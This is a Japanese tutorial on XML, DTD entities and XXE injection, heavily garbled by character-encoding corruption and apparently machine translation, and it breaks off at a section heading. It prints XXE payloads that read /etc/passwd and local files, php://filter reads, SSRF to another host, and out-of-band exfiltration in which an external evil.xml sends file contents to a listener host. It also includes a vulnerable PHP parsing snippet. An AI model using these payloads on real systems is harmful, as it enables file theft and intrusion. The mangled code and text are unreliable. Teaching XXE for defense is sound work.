### XMLããã³XXEæ³šå ¥ã®åºæ¬
1.xmlå®çŸ©
XMLã¯ã次ã®3ã€ã®éšåã§æ§æãããŠããŸããã€ãŸããããã¥ã¡ã³ãã¿ã€ãå®çŸ©ïŒDTDïŒãã€ãŸãXMLã¬ã€ã¢ãŠãèšèªãæ¡åŒµå¯èœãªã¹ã¿ã€ã«èšèªïŒXSLïŒãã€ãŸãXMLã¹ã¿ã€ã«ã®ã·ãŒãèšèªãããã³æ¡åŒµå¯èœãªãªã³ã¯èšèªïŒXLLïŒã
XML:æšæºã®ãŠãããŒãµã«ããŒã¯ã¢ããèšèªã®ãµãã»ããã§ããæ¡åŒµå¯èœãªããŒã¯ã¢ããèšèªã¯ãé»åãã¡ã€ã«ãããŒã¯ããŠæ§é çã«ããããã«äœ¿çšãããããŒã¯ã¢ããèšèªã§ãã ïŒããŒã¿ãä¿åããã®ã§ã¯ãªãïŒããŒã¿ãéä¿¡ããã³ä¿åããããã«èšèšãããŠãããæ¡åŒµå¯èœãªããŒã¯ã¢ããèšèªã¯ããã€ããŒããã¹ãããŒã¯ã¢ããèšèªã«ãã䌌ãããŒã¯ã¢ããèšèªã§ãããã®èšèšã¯ãããŒã¿ãéä¿¡ããããšã§ã¯ãªããããŒã¿ãéä¿¡ããããšã§ãããã®ã¿ã°ã¯äºåã«å®çŸ©ãããŠããŸãããã¿ã°ãèªåã§å®çŸ©ããå¿ èŠããããŸããããã¯èªå·±èšè¿°çã§ããããã«èšèšãããŠããŸããããã¯ãW3Cã«æšå¥šãããæšæºã§ãã
æ¡åŒµå¯èœãªããŒã¯ã¢ããèšèªïŒXMLïŒããã³ãã€ããŒããã¹ãããŒã¯ã¢ããèšèªïŒHTMLïŒã¯ãããŸããŸãªç®çã§èšèšãããŠããŸã
ããŒã¿ã®ã³ã³ãã³ãã«çŠç¹ãåœãŠãŠãããŒã¿ãéä¿¡ããã³ä¿åããããã«èšèšãããŠããŸãã
ãã€ããŒããã¹ãããŒã¯ã¢ããèšèªã¯ãããŒã¿ã®å€èгã«çŠç¹ãåœãŠãããŒã¿ã衚瀺ããããã«èšèšãããŠããŸã
2ã XML
ã®åœ¹å²XMLã¯ãèŠçŽ ãšå±æ§ã䜿çšããŠããŒã¿ã説æããŸããããŒã¿è»¢éäžãXMLã¯åžžã«èŠª/åé¢ä¿ãªã©ã®ããŒã¿æ§é ãä¿æããŸããããã€ãã®ã¢ããªã±ãŒã·ã§ã³ã¯ãåŸæ¥ã®æååã®è§£æãŸãã¯åè§£ããã»ã¹ãªãã§ãåãXMLãã¡ã€ã«ãå ±æããã³è§£æã§ããŸããããã©ããããéåžžã®ãã¡ã€ã«ã¯åããŒã¿ã»ã°ã¡ã³ãã説æããïŒããããŒãã¡ã€ã«ãé€ãïŒãããŒã¿é¢ä¿æ§é ãä¿æããŸããã XMLããŒã¿ã«ã¯ãXMLããŒã¿ã«å ŽæïŒéåžžã®ãã¡ã€ã«ãªã©ïŒãŸãã¯èŠçŽ åïŒããŒã¿ããŒã¹ããïŒã䜿çšããŠã¢ã¯ã»ã¹ã§ãããããããŒã¿äº€æã«XMLã䜿çšãããšãã¢ããªã±ãŒã·ã§ã³ãããæè»ã«ãªããŸãã
XMLããã¥ã¡ã³ãæ§é ã«ã¯ãXML宣èšãDTDããã¥ã¡ã³ãã¿ã€ãå®çŸ©ïŒãªãã·ã§ã³ïŒãããã¥ã¡ã³ãèŠçŽ ãå«ãŸããŸã
ïŒxmlããŒãžã§ã³='1.0'ãšã³ã³ãŒã='utf-8'ïŒ
ïŒ - â¬xmlã¹ããŒãã¡ã³ã⬠-
ïŒdoctypeãã¡ã€ã«å[
ïŒãšã³ãã£ãã£ãšã³ãã£ãã£åããšã³ãã£ãã£ã³ã³ãã³ãã
]
ïŒ - â¬documentã¿ã€ãå®çŸ©ïŒdtdïŒâ¬ -
èŠçŽ åã«ããŽãª='屿§'
ããã¹ããŸãã¯ãã®ä»ã®èŠçŽ
/èŠçŽ å
ïŒ - â¬documentelementâ¬---
3.xml圢åŒã®èª¬æ
XMLã¯ãé»åãã¡ã€ã«ãããŒã¯ããŠæ§é çã«ããããã«äœ¿çšãããŸããããŒã¿ãããŒã¯ããããŒã¿åãå®çŸ©ããããã«äœ¿çšã§ããŸããããã¯ããŠãŒã¶ãŒãç¬èªã®ããŒã¯ã¢ããèšèªãå®çŸ©ã§ãããœãŒã¹èšèªã§ãã XMLããã¥ã¡ã³ãæ§é ã«ã¯ãXML宣èšãDTDããã¥ã¡ã³ãã¿ã€ãå®çŸ©ïŒãªãã·ã§ã³ïŒãããã³ããã¥ã¡ã³ãèŠçŽ ãå«ãŸããŸãã
DTDïŒããã¥ã¡ã³ãã¿ã€ãå®çŸ©ïŒã®åœ¹å²ã¯ãXMLããã¥ã¡ã³ãã®æ³çãã«ãã£ã³ã°ãããã¯ãå®çŸ©ããããšã§ãã DTDã¯ãXMLããã¥ã¡ã³ãã§å®£èšããããå€éšã§åç §ããããšãã§ããŸãã
ïŒ1ïŒå éšã¹ããŒãã¡ã³ãdtd
ïŒDoctypeã«ãŒãèŠçŽ [èŠçŽ å®£èš]
ïŒ2ïŒåŒçšå€éšDTD
ïŒdoctypeã«ãŒãèŠçŽ ã·ã¹ãã ããã¡ã€ã«åããŸãã¯
ïŒdoctype root element public 'public_id'
'ãã¡ã€ã«å'
DTDãšã³ãã£ãã£ã¯ãéåžžã®ããã¹ããŸãã¯ç¹æ®æåãåç §ããã·ã§ãŒãã«ãããå®çŸ©ããããã«äœ¿çšããã倿°ã§ãããå éšãŸãã¯å€éšã§å®£èšã§ããŸãã
ïŒ3ïŒDTDãšã³ãã£ãã£
l dtd
ã®åœ¹å²DTDïŒããã¥ã¡ã³ãã¿ã€ãå®çŸ©ïŒã®é¢æ°ã¯ãXMLããã¥ã¡ã³ãã®æ³çæ§æèŠçŽ ãå®çŸ©ããããšã§ãã DTDã¯ãXMLããã¥ã¡ã³ãã§å®£èšããããå€éšã§åç §ããããã§ããŸãã
å€éšãšã³ãã£ãã£ã¯ãXMLããã»ããµãè§£æããå¿ èŠãããããŒã¿ãæããŸããè€æ°ã®ããã¥ã¡ã³ãéã§å ±æãããå ¬éåç §ãäœæããã®ã«åœ¹ç«ã¡ãŸããå€éšãšã³ãã£ãã£ã«å ãããã倿Žã¯ããããžã®åç §ãå«ãããã¥ã¡ã³ãã§èªåçã«æŽæ°ãããŸããã€ãŸããXMLã¯å€éšãšã³ãã£ãã£ã䜿çšããŠæ å ±ãŸãã¯ãã³ã³ãã³ãããXMLããã¥ã¡ã³ãã®æ¬æã«èªåçã«æœåºããŸãããããè¡ãã«ã¯ãXMLããã¥ã¡ã³ãå ã®å€éšãšã³ãã£ãã£ã宣èšããå¿ èŠããããŸã
DTDãšã³ãã£ãã£ã¯ãéåžžã®ããã¹ããŸãã¯ç¹æ®æåãåç §ããã·ã§ãŒãã«ãããå®çŸ©ããããã«äœ¿çšããã倿°ã§ãããå éšãŸãã¯å€éšã§å®£èšã§ããŸããå éšçã«ãã®å€ã決å®ã§ããŸãïŒå éšãµãã»ããïŒïŒ
ãŸãã¯å€éšãœãŒã¹ããïŒïŒå€éšãµãã»ããïŒïŒ
ã·ã¹ãã èå¥åãããã«ãªãããšã«æ³šæããŠãã ããããã®èå¥åã¯ããšã³ãã£ãã£ãå€éšãœãŒã¹ããã®å Žåã¯ãSite.comãã®äžã®ããŒãžããã³ã³ãã³ããååŸããããšãæå³ããŸãã
ãããã®ãšã³ãã£ãã£ã宣èšããã«ã¯ãããã¥ã¡ã³ãã¿ã€ãå®çŸ©ïŒDTDïŒã§ãããè¡ãå¿ èŠããããŸãã DTDã¯ãXMLã®ããã¥ã¡ã³ãã¿ã€ããå®çŸ©ããããã«äœ¿çšãããã¿ã°å®£èšã®ã»ããã§ãã XMLããã¥ã¡ã³ãã®æ³çæ§é ãããã¯ãšãæ³çèŠçŽ ãšå±æ§ã®ãªã¹ããåããããã¥ã¡ã³ãæ§é ãå®çŸ©ããŸãã DTDã¯ãXMLããã¥ã¡ã³ãå ãŸãã¯å€éšåç §å®£èšãšããŠå®£èšã§ããŸããã·ã¹ãã èå¥åã䜿çšããŠãè§£æå¯èœãªå Žæã®å¥ã®å®£èšã»ãããæãããšãã§ããŸãããšã³ãã£ãã£ã¯ã·ã¹ãã ããŒã¯ãŒãã䜿çšããŠå€éšãªãœãŒã¹ãåŒã³åºãããšãã§ããŸããããã§ã¯ãHTTP;ãã¡ã€ã«ãªã©ãªã©ã®å€ãã®ãããã³ã«ããµããŒãããä»ã®DOMããŒãã§ã¯:Testã䜿çšã§ããŸãããã®ãšã³ãã£ãã£ã®ã³ã³ãã³ããåç §ããŸãã
次ã«ãè§£æãããXMLãè£œåæ©èœèšèšã§å€åŽã«ãã£ãŠå¶åŸ¡ãããŠããå Žåããã¡ã€ã«ã®èªã¿åããDOSãCSRFãªã©ã®è匱æ§ã圢æããå¯èœæ§ããããŸãã
å€éšãªãœãŒã¹ãåç §ããå Žåã¯ãããŸããŸãªãããã³ã«ã䜿çšã§ããŸããããã€ãã®äŸ:
file: ///path/to/file.ext
http://url/file.ext
Php: //filter/read=convert.base64-encode/resource=conf.php
DTDã®ã·ã¹ãã èå¥åãæã€ãšã³ãã£ãã£ã§ããDTDã®äŸãèŠãŠã¿ãŸãããã
lå éšå®£èšãšã³ãã£ãã£
DTDãšã³ãã£ãã£ã¯ãéåžžã®ããã¹ããŸãã¯ç¹æ®æåãåç §ããã·ã§ãŒãã«ãããå®çŸ©ããããã«äœ¿çšããã倿°ã§ãããå éšãŸãã¯å€éšã§å®£èšã§ããŸãã
å éšãšã³ãã£ãã£ã¹ããŒãã¡ã³ã
ïŒãšã³ãã£ãã£ãšã³ãã£ãã£åããšã³ãã£ãã£å€ã
äŸ
DTD:
ïŒãšã³ãã£ãã£ã©ã€ã¿ãŒãç§ã
XML:
AuthorWriter;/èè
泚:ãšã³ãã£ãã£ã¯ã3ã€ã®ããŒã:ã®åèšçªå·ïŒïŒããšã³ãã£ãã£åãããã³ã»ãã³ãã³ïŒ;ïŒã§æ§æãããŠããŸãã
lå€éšãšã³ãã£ãã£ã®åŒçš
å€éšãšã³ãã£ãã£ã¹ããŒãã¡ã³ã
ïŒãšã³ãã£ãã£ãšã³ãã£ãã£åã·ã¹ãã ãuri/urlã
ãŸãã¯
ïŒãšã³ãã£ãã£ãšã³ãã£ãã£åpublic_id '
ããŠãªã
äŸ
DTD:
ïŒãšã³ãã£ãã£ã©ã€ã¿ãŒã·ã¹ãã
'http://example.com/dtd/writer.dtd '
XML:
AuthorWriter;/èè
å€éšãšã³ãã£ãã£ã¿ã€ãã«ã¯ãããŸã
ïŒ4ïŒcdata
CDATAãšã¯ãXMLããŒãµãŒã§è§£æãããã¹ãã§ã¯ãªãããã¹ãããŒã¿ïŒæªæ£åžãããŠããªãæåããŒã¿ïŒãæããŸãã
XMLèŠçŽ ã§ã¯ãã
ïŒæ°ããèŠçŽ ã®å§ãŸãïŒãš ''ïŒãã£ã©ã¯ã¿ãŒãšã³ãã£ãã£ã®å§ãŸãïŒã¯éæ³ã§ãã
JavaScriptã³ãŒããªã©ã®äžéšã®ããã¹ãã«ã¯ã倿°ã®ããŸãã¯ãæåãå«ãŸããŠããŸãããšã©ãŒãåé¿ããããã«ãã¹ã¯ãªããã³ãŒãã¯CDATAãšããŠå®çŸ©ã§ããŸãã
CDATAã»ã¯ã·ã§ã³ã®ãã¹ãŠã¯ãããŒãµãŒã«ãã£ãŠç¡èŠãããŸãã
éšåçã«cdata
'ïŒ[cdata [' Startsãend by ']]'
4.xmlãšã³ãã£ãã£
XMLã®ãšã³ãã£ãã£ã¯ã次ã®5ã€ã®ã¿ã€ãã«åå²ãããŸãïŒååä»ããšã³ãã£ãã£ãå€éšãšã³ãã£ãã£ããã©ã¡ãŒã¿ãŒãšã³ãã£ãã£ãå éšãšã³ãã£ãã£ãéåžžã®ãšã³ãã£ãã£ãããã³ãã©ã¡ãŒã¿ãŒãšã³ãã£ãã£ã¯ãã¹ãŠãå éšãšã³ãã£ãã£ãšå€éšãšã³ãã£ãã£ã«åå²ãããŸããå€éšãšã³ãã£ãã£ã®å®çŸ©ã¯ãã·ã¹ãã ããŒã¯ãŒãã§è¿œå ããå¿ èŠãããããã®ã³ã³ãã³ãã¯URLã«ãã£ãŠææãããå€éšãã¡ã€ã«ã®å®éã®ã³ã³ãã³ãã§ããã·ã¹ãã ããŒã¯ãŒãã远å ãããŠããªãå Žåãããã¯å éšãšã³ãã£ãã£ã§ããããšã³ãã£ãã£ãã³ã³ãã³ããæååãšããŠåç §ããããšã瀺ããŸãã
ïŒ1ïŒæåãšã³ãã£ãã£
ã¯ãå°æ°æåïŒ#aaa;ïŒãŸãã¯16é²åœ¢åŒïŒ#xaaa;ïŒã§ãŠãã³ãŒãæåãæå®ããããšãæããŸãã XMLããŒãµãŒã®å Žåãæåãšã³ãã£ãã£ã¯ãæå®ãããæåã«çŽæ¥å ¥åããããšãšãŸã£ããåãã§ãã
ïŒ2ïŒååä»ããšã³ãã£ãã£
å éšãšã³ãã£ãã£ãšãåŒã°ããDTDãŸãã¯å éšãµãã»ããã§å®£èšãããŠããïŒã€ãŸããããã¥ã¡ã³ãã®ïŒDoctypeã¹ããŒãã¡ã³ãã®äžéšïŒãããã¥ã¡ã³ãã®åç §ãšããŠäœ¿çšãããŸãã XMLããã¥ã¡ã³ãã®è§£æäžããšã³ãã£ãã£ã®åç §ã¯ãã®è¡šçŸã«çœ®ãæããããŸãã
ïŒxmlããŒãžã§ã³='1.0'ãšã³ã³ãŒã='utf-8'ïŒ
ïŒdoctype any [
ïŒãšã³ãã£ãã£XXEã·ã¹ãã 'file: ///c: //test/1.txt']
valueExxe;/value
ïŒxmlããŒãžã§ã³='1.0'ãšã³ã³ãŒã='utf-8'ïŒ
ïŒdoctype any [
ïŒãšã³ãã£ãã£XXEã·ã¹ãã 'http://otherhost/xxxx.php']
valueExxe;/value
XXE+SSRFãšããŠäœ¿çšã§ããŸã
ïŒ3ïŒå€éšãšã³ãã£ãã£
å€éšãšã³ãã£ãã£ã¯ãã·ã¹ãã ããŒã¯ãŒãã§è¡šãããå€éšãã¡ã€ã«ã®ã³ã³ãã³ãã衚ããŸãã
ïŒãšã³ãã£ãã£ãã¹ãã·ã¹ãã '1.xml'
äžéšã®XMLããã¥ã¡ã³ãã«ã¯ãã·ã¹ãã èå¥åã«ãã£ãŠå®çŸ©ãããããšã³ãã£ãã£ããå«ãŸããŠãããDoctypeããããŒã¿ã°ã«ã¬ã³ããªã³ã°ãããŠããŸãããããã®å®çŸ©ãããããšã³ãã£ãã£ãã¯ãããŒã«ã«ãŸãã¯ãªã¢ãŒãã³ã³ãã³ãã«ã¢ã¯ã»ã¹ã§ããŸããããšãã°ã次ã®XMLããã¥ã¡ã³ããµã³ãã«ã«ã¯XMLããšã³ãã£ãã£ããå«ãŸããŠããŸãã
ïŒxmlããŒãžã§ã³='1.0'ãšã³ã³ãŒã='utf-8'ïŒ
ïŒdoctypeäœã§ã[
ïŒEntity EntityEx System 'file: ///etc/passwd'
]
abcentityex;/abc
äžèšã®ã³ãŒãã§ã¯ãXMLå€éšãšã³ãã£ãã£ãEntityExãã«å²ãåœãŠãããå€ã¯ãfile: //etc/passwdã§ãã XMLããã¥ã¡ã³ãã®è§£æäžããšã³ãã£ãã£ãEntityExãã®å€ã¯ãURIïŒFile: //ãªã©ïŒã³ã³ãã³ãå€ïŒã€ãŸããPassWDãã¡ã€ã«ã®ã³ã³ãã³ãïŒã«çœ®ãæããããŸããããŒã¯ãŒããã·ã¹ãã ãã¯ãXMLããŒãµãŒã«ããEntityExããšã³ãã£ãã£ã®å€ãURIããèªã¿åããEntityExã衚瀺ãããèªã¿åãã³ã³ãã³ãã眮ãæããããšãäŒããŸãã
ã·ã¹ãã ã®èåŸã«ããã³ã³ãã³ãããŠãŒã¶ãŒãå¶åŸ¡ã§ããå ŽåããŠãŒã¶ãŒã¯èªç±ã«ä»ã®ã³ã³ãã³ãã«çœ®ãæããããšãã§ãããµãŒããŒããŒã«ã«ãã¡ã€ã«ïŒfile: ///ãªã©ïŒãŸãã¯ãªã¢ãŒããã¡ã€ã«ïŒhttp://www.baidu.com/abc.txtïŒãèªã¿åãããšãã§ããŸãã
ïŒ4ïŒãã©ã¡ãŒã¿ãŒãšã³ãã£ãã£
ãã©ã¡ãŒã¿ãŒãšã³ãã£ãã£ã¯ãããã¥ã¡ã³ãã®DTDããã³å éšãµãã»ããã§ã®ã¿äœ¿çšãããŸãã XMLã®ä»æ§å®çŸ©ã§ã¯ããã©ã¡ãŒã¿ãŒãšã³ãã£ãã£ã¯DTDã§ã®ã¿åç §ã§ããŸãããã©ã¡ãŒã¿ãŒãšã³ãã£ãã£ã®å®£èšãšåç §ã¯ãã¹ãŠãããŒã»ã³ããµã€ã³ã«åºã¥ããŠããŸãããã©ã¡ãŒã¿ãŒãšã³ãã£ãã£ãžã®åç §ã¯DTDã§çè§£ãããè§£æããã眮æããã¹ãã¯DTDã®äžéšã«ãªããŸãããã®ã¿ã€ãã®ãšã³ãã£ãã£ã¯ããïŒ ãæåïŒãŸãã¯ïŒ 16é²ãšã³ã³ãŒãïŒã§å®£èšãããè§£æãšæ€èšŒåŸã®DTDã®ããã¹ããŸãã¯ãã®ä»ã®ã³ã³ãã³ãã眮ãæããããã«ã®ã¿äœ¿çšãããŸãã
ïŒãšã³ãã£ãã£ïŒ ãšã³ãã£ãã£åããšã³ãã£ãã£ã
ãŸãã¯
ïŒãšã³ãã£ãã£ïŒ ãšã³ãã£ãã£åã·ã¹ãã ãURIã
ãã©ã¡ãŒã¿ãŒãšã³ãã£ãã£ã¯DTDãã¡ã€ã«ã§ã®ã¿åç §ã§ããä»ã®ãšã³ãã£ãã£ã¯XMLããã¥ã¡ã³ãã§åç §ãããŸããã€ãŸããæ¬¡ã®äŸã§ã¯ããã©ã¡ãŒã¿ãŒãšã³ãã£ãã£ã¯Doctypeå ã«ãããä»ã®ãšã³ãã£ãã£ã¯å€ã«ãããŸã
ïŒdoctype a [
ïŒentityïŒ name system "file: ///etc/passwd"
ïŒ åå;
]
ãã©ã¡ãŒã¿ãŒãšã³ãã£ãã£ã¯ãå éšXMLãšã³ãã£ãã£ãããDTDã§ããé«ãè§£æåªå 床ãæã£ãŠããŸã
ãšã³ãã£ãã£ã¯ãnameã«å²ãåœãŠããã倿°ãfile: ///etc/passwdãã«çžåœããŸã
æåã«ç°¡åãªXML䜿çšçã³ãŒããæžããäŸ:ãšããŠPHPãåããŸã
ïŒphp
$ data=
file_get_contentsïŒ 'php: //input'ïŒ;
$ xml=
Simplexml_load_stringïŒ$ dataïŒ;
echo $ xml-name;
ïŒ
echo $ xml-name; -Nameã¯ä»»æã«å€æŽã§ããŸãã
以äžã«ç€ºãããã«ã
ãã©ã¡ãŒã¿ãŒãšã³ãã£ãã£ã®äŸïŒ
ïŒãšã³ãã£ãã£ãšã³ãã£ãã£åããšã³ãã£ãã£å€ã
ïŒxmlããŒãžã§ã³='1.0'
encoding='utf-8'ïŒ
ïŒdoctype root [
ïŒãšã³ãã£ãã£ïŒ param1 'ïŒãšã³ãã£ãã£
å éš'http://evil.com' '
ïŒ param1;
]
æ ¹
ãã¹ã[ããã¯ç§ã®ãµã€ãã§ã]
å éš;/ãã¹ã
/æ ¹
ã®ããã«ïŒ
ïŒãšã³ãã£ãã£ïŒ AAA
'233 '
ãã©ã¡ãŒã¿ãŒãšã³ãã£ãã£PARAM1ã«ã¯ããã¹ãã¿ã°ã®ãšã³ãã£ãã£åç §ãã©ã¡ãŒã¿ãŒã眮ãæããããã«äœ¿çšãããå éšãšã³ãã£ãã£ã®å®£èšãå«ãŸããŠããŸãã
ããã§ã¯ãããã»ã¹ã«æ³šæãæãå¿ èŠããããŸãã DTDã®ãã©ã¡ãŒã¿ãŒãšã³ãã£ãã£ã®è§£æã¯ãXMLããã¹ãã§ã®å éšãšã³ãã£ãã£ã®è§£æãããåªå ãããŸãã
ãã©ã¡ãŒã¿ãŒãšã³ãã£ãã£ã«ã¯ããã€ãã®ç¹æ§ãããããããã®ç¹æ§ã¯ã䜿çšã§ããçšåºŠã決å®ããŸãã
l DTDå ã®ã¿
ä»åŒçšããŠãã ãã
lãšã³ãã£ãã£ãã¹ã
ïŒ5ïŒå éšãšã³ãã£ãã£
ãã«ãã€ã³ãšã³ãã£ãã£ã¯ã次ã®ãããªäºçŽããããšã³ãã£ãã£ã§ãã
ãšã³ãã£ãã£ã®åŒçšæå
lt;
GT;
ã¢ã³ã;
quot; '
ã¢ãã¹; '
å éšãšã³ãã£ãã£ãšã¯ã1ã€ã®ãšã³ãã£ãã£ãã€ãŸããã¹ããããå®çŸ©ã§å®çŸ©ãããŠããå¥ã®ãšã³ãã£ãã£ãæããŸãã
幞ããªããšã«ããšã³ãã£ãã£ã®ãã¹ãã®å Žåã«é¢ããŠã¯ãDTDã¯å¥æ°ãšäºéåŒçšç¬ŠããµããŒãããŠããããã奿°ãšäºéåŒçšã®ééãéããŠãã¹ãããããšã³ãã£ãã£ãšãšã³ãã£ãã£éã®é¢ä¿ãåºå¥ããããã«äœ¿çšã§ããŸããå®éã«äœ¿çšãããšãéåžžãå¥ã®ãã©ã¡ãŒã¿ãŒãšã³ãã£ãã£ããã¹ãããå¿ èŠããããïŒ çªå·ã次ã®ããã«åŠçããå¿ èŠããããŸãã
ïŒãšã³ãã£ãã£ïŒ param1
'ïŒentityïŒ xxeã·ã¹ãã ' http://evil/logïŒïŒ ãã€ããŒã; ' '
ããŸãã16鲿°ãšããŠæžãããšãã§ããŸãã
ããã«ïŒå éšãšã³ãã£ãã£ã«å¯Ÿãããã®ãµããŒããã€ã³ã¿ãŒããªã¿ãŒã«äŸåãããã©ããã¯ããªã³ã¯4ãåç §ããŠãã ãã
ïŒ6ïŒãšã³ãã£ãã£ã®åœå +å€éšãšã³ãã£ãã£ã©ã€ãã£ã³ã°
ïŒXMLããŒãžã§ã³='1.0'ãšã³ã³ãŒã='UTF-8'ïŒ
ïŒdoctype root [
ïŒãšã³ãã£ãã£DTDã·ã¹ãã 'http://LOCALHOST:88/EVIL.XML'
]
valuedtd;/value
ãã®ååã®ãšã³ãã£ãã£ã¯ãå€éšãšã³ãã£ãã£ãåŒã³åºãããšã³ãã£ãã£ãéªæªãª.xmlã§å®çŸ©ã§ããªãããšãçºèŠããŸããããããªããšãè§£æã§ããŸãããæå®ããããšã³ãã£ãã£ã¯åœ¹ã«ç«ããªãããã«æãããã©ã¡ãŒã¿ãŒãšã³ãã£ãã£ã¯ã¯ããã«äœ¿ããããããã«æããŸã
ïŒ7ïŒæåã®ã¿ã€ãã®ããŒãã³ã°ãšã³ãã£ã㣠+å€éšãšã³ãã£ã㣠+ãã©ã¡ãŒã¿ãŒãšã³ãã£ãã£ã©ã€ãã£ã³ã°
ïŒXMLããŒãžã§ã³='1.0'ãšã³ã³ãŒã='UTF-8'ïŒ
ïŒdoctypeããŒã¿[
ïŒãšã³ãã£ãã£ïŒ ãã¡ã€ã«ã·ã¹ãã 'file: ///c: //test/1.txt'
ïŒãšã³ãã£ãã£ïŒ DTDã·ã¹ãã 'http://LOCALHOST:88/EVIL.XML'
ïŒ DTD; ïŒ å šãŠ;
]
ValueEnd;/value
Evil.xmlãã¡ã€ã«ã®ã³ã³ãã³ãã¯ã§ã
ïŒãšã³ãã£ãã£ïŒ all 'ïŒãšã³ãã£ãã£ã¯ã·ã¹ãã ãéä¿¡ããŸãhttp://LOCALHOST:88ïŒ ãã¡ã€ã«;' '
åŒã³åºãããã»ã¹ã¯æ¬¡ã®ãšããã§ãããã©ã¡ãŒã¿ãŒãšã³ãã£ãã£DTDã¯ãå€éšãšã³ãã£ãã£ã®vily.xmlãåŒã³åºããŠããããã©ã¡ãŒã¿ãŒãšã³ãã£ãã£ããã¹ãŠåŒã³åºããŠãããååä»ããšã³ãã£ãã£éä¿¡ãåŒã³åºããŸã
ïŒ8ïŒããŒãã³ã°ãšã³ãã£ã㣠+å€éšãšã³ãã£ã㣠+ãã©ã¡ãŒã¿ãŒãšã³ãã£ãã£ã©ã€ãã£ã³ã°ã®2çªç®ã®ã¿ã€ã
ïŒXMLããŒãžã§ã³='1.0'ãšã³ã³ãŒã='UTF-8'ïŒ
ïŒdoctype root [
ïŒãšã³ãã£ãã£ïŒ ãã¡ã€ã«ã·ã¹ãã 'Php: //filter/convert.base64-encode/resource=c:/test/1.txt'
ïŒãšã³ãã£ãã£ïŒ DTDã·ã¹ãã 'http://LOCALHOST:88/EVIL.XML'
ïŒ DTD;
ïŒ éä¿¡;
]
ã«ãŒã/ã«ãŒã
Evil.xmlãã¡ã€ã«ã®ã³ã³ãã³ãã¯æ¬¡ã®ãšããã§ãã
ïŒãšã³ãã£ãã£ïŒ ãã€ããŒã 'ïŒãšã³ãã£ãã£ïŒx25;ã·ã¹ãã 'http://LocalHost:88/ïŒcontent=ïŒ file;' 'ïŒ ãã€ããŒã;
ã³ãŒã«ããã»ã¹ã¯ãæåã®æ¹æ³ã«äŒŒãŠããŸã
5ã XML
ã®ãããã³ã«ãµããŒã
äžèšã®åçã¯ãããã©ã«ãã®ãµããŒããããã³ã«ã瀺ããŠããããµããŒããããŠããPHPãªã©ã®ä»ã®æ¡åŒµãããã³ã«ããµããŒãã§ããŸãã
6.xxeã€ã³ãžã§ã¯ã·ã§ã³ã®å®çŸ©
XXEæ³šå ¥ãã€ãŸãXMLå€éšãšã³ãã£ãã£ãXMLå€éšãšã³ãã£ãã£æ³šå ¥ã XMLãšã³ãã£ãã£ãä»ããŠããã·ã¹ãã ãããŒã¯ãŒãã«ãããXMLããŒãµãŒã¯ããŒã«ã«ãã¡ã€ã«ãŸãã¯ãªã¢ãŒãURIããããŒã¿ãèªã¿åããŸãããããã£ãŠãæ»æè ã¯XMLãšã³ãã£ãã£ãä»ããŠæ§ç¯ããæªæã®ãã䟡å€ãæž¡ãããšãã§ãããã³ãã©ãŒã¯ãããè§£æããŸããå€éšã®ãšã³ãã£ãã£ãåç §ããå Žåãæªæã®ããã³ã³ãã³ããæ§ç¯ããããšã«ãããä»»æã®ãã¡ã€ã«ã®èªã¿åããã·ã¹ãã ã³ãã³ãã®å®è¡ãã€ã³ãã©ãããããŒãã®æ€åºãã€ã³ãã©ãããã®Webãµã€ãã®æ»æãªã©ã®å±éºã«ã€ãªããå¯èœæ§ããããŸãã
1ã€ãŸãã¯è€æ°ã®XMLããã¥ã¡ã³ãã§ç¹å®ã®ããŒã¿ãé »ç¹ã«äœ¿çšãããšã³ãã£ãã£ãšã³ãã£ãã£ã¯ããã®ããŒã¿ãã€ãŸããšã³ãã£ãã£ã®ããšã€ãªã¢ã¹ããäºåã«å®çŸ©ãããããã®ããã¥ã¡ã³ãã§ããŒã¿ãå¿ èŠãªå Žæã§ãããåŒã³åºãããšãã§ããŸãã XMLã¯ãXMLããã¥ã¡ã³ãã§äœ¿çšããã2ã€ã®ã¿ã€ãã®ãšã³ãã£ãã£ãå®çŸ©ããŸã
PHPã§ãlibxml_disable_entity_loaderãTrueã«èšå®ãããšãå€éšãšã³ãã£ãã£ã®æ³šéãç¡å¹ã«ãªããŸãã DTDãã¡ã€ã«ã«äœ¿çšããå¥ã®ãã©ã¡ãŒã¿ãŒãå ¥åããŸãããšã³ãã£ãã£å®çŸ©æ§æïŒ
ïŒdoctypeãã¡ã€ã«å[
ïŒãšã³ãã£ãã£ãšã³ãã£ãã£åããšã³ãã£ãã£ã³ã³ãã³ãã
]
å®çŸ©ããããšã³ãã£ãã£ã¯ãããšã³ãã£ãã£åããä»ããŠããã¥ã¡ã³ãã§äœ¿çšãããŸããäŸãã°ïŒ
ïŒxmlããŒãžã§ã³='1.0'ãšã³ã³ãŒã='utf-8'ïŒ
ïŒdoctypeããã¯ãªã¹ã[
ïŒãšã³ãã£ãã£ãããªãã·ã£ãŒãABC Companyã
]
ããã¯ãªã¹ã
æ¬
nameajax/name
äŸ¡æ Œ$ 5.95/äŸ¡æ Œ
ajax./descriptionã®èª¬æ
PublisherPublisher;/Publisherããã®åºç瀟ã¯ãABC Companyãã«çœ®ãæããããŸã
/æ¬
æ¬
nameajaxãã¿ãŒã³/åå
äŸ¡æ Œ$ 7.95/äŸ¡æ Œ
説æajax patterns./descriptionã®å°å ¥
PublisherPublisher;/Publisherããã®åºç瀟ã¯ãABC Companyãã«çœ®ãæããããŸã
/æ¬
/ããã¯ãªã¹ã
XMLã«ã¯5ã€ã®äºåå®çŸ©ããããšã³ãã£ãã£åç §ããããŸãã
lt;
æªæº
GT;
ãã倧ãã
ã¢ã³ã;
ãšçªå·
ã¢ãã¹;
'
çç¥èšå·
quot;
'
åŒçšç¬Š
泚ïŒå³å¯ã«èšãã°ãXMLã«ãã£ã©ã¯ã¿ãŒãš ''ã®ã¿ãæã€ããšã¯éæ³ã§ãã EllipsisãåŒçšãããã³æ³çããã倧ãããããããããšã³ãã£ãã£åç §ã«çœ®ãæããããšã¯è¯ãç¿æ £ã§ãã
7.xxeè匱æ§åç
